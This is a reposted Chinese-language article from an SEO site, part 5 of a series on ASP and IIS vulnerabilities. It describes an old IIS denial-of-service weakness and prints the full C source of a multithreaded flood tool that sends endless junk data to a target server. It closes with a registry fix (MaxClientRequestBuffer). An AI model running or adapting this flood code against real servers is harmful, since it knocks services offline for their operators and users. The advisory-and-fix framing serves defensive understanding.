游客,您好 
免费注册
SEO资料站

www.che.com

丘仕达微博

丘仕达微博

中国SEO资料站
新闻动态 技术文章 软件下载 SEO博客 本站论坛 SEO入门书籍
SEO技术文章 - 网站建设技术 - 浏览文章
ASP漏洞分析和解决方法(5)
发布日期:2007-4-12 13:35:48   来源:互联网转载   共有 3444 人次浏览
教程中国版权声明: 教程中国
17 IIS web server DOS

  漏洞描述:
  默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系
统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer"
设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用
下面的程序。可以很容易地对IIS server实行DOS攻击:

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

  攻击结果将导致NT系统的CPU占用率达到 100%

  解决方案
  运行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一个值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
  设置为十进制
  具体数值设置为你想设定的IIS允许接受的URL最大长度。
  CNNS的设置为256
共有1条文章 页次:1/1 分页: 9 1 :

发布人:----- 】·【推荐好友】·【打印】·【顶部
相关文章--
[网站建设技术] ·ASP漏洞分析和解决方法(10)2007-04-12
[网站建设技术] ·ASP漏洞分析和解决方法(9)2007-04-12
[网站建设技术] ·ASP漏洞分析和解决方法(8)2007-04-12
[网站建设技术] ·ASP漏洞分析和解决方法(7)2007-04-12
[网站建设技术] ·ASP漏洞分析和解决方法(6)2007-04-12
相关评论
   系统暂时关闭评论功能!
最新文章
 百度排名点击器介绍及原理...
 专访丘仕达:放平心态 兼...
 丘仕达:原创文章的一些思考
 丘仕达:2008中秋月饼实战
 丘仕达:SEO项目流程操作及...
 云野侠:优化无处不在
 丘仕达:关于SEO的一些思考
 转:快速申请GOOGLE ADSE...
 文章标题的写法及引申-丘...
 大鸟和丘仕达在求医网的S...
热门文章
 SEO工具,站长必备
 王通:SEO的六种赚钱方式
 丘仕达SEO实战:如何用几个...
 蜘蛛:最挣钱的几种网站
 丘仕达:写给走火入魔...
 SEO资料站站长丘仕达个人...
 日IP不到500的站一年赚10...
 采访SEO资料站长丘仕达
 2个月收入5万元的垃圾站是...
 写给SEO菜鸟们
推荐文章
 丘仕达:SEO项目流程操作及...
 丘仕达:写给走火入魔...
 实战:单页面优化的第二种...
 关于单面面网站优化的两个...
 网站内容联盟大全及介绍
 10.14飘渺蝶舞DIV+CSS讲座...
 百度分词技术的一些补充
 丘仕达工作前给大家的礼物
 55种网页常用小技巧
 地址拦网址前加图标的...
文章搜索
关键字:
关于我们 网站留言 友情链接 管理
中国SEO资料站

QQ:726399 邮箱:zsuda@163.com 备案序号:辽ICP备10202808号-1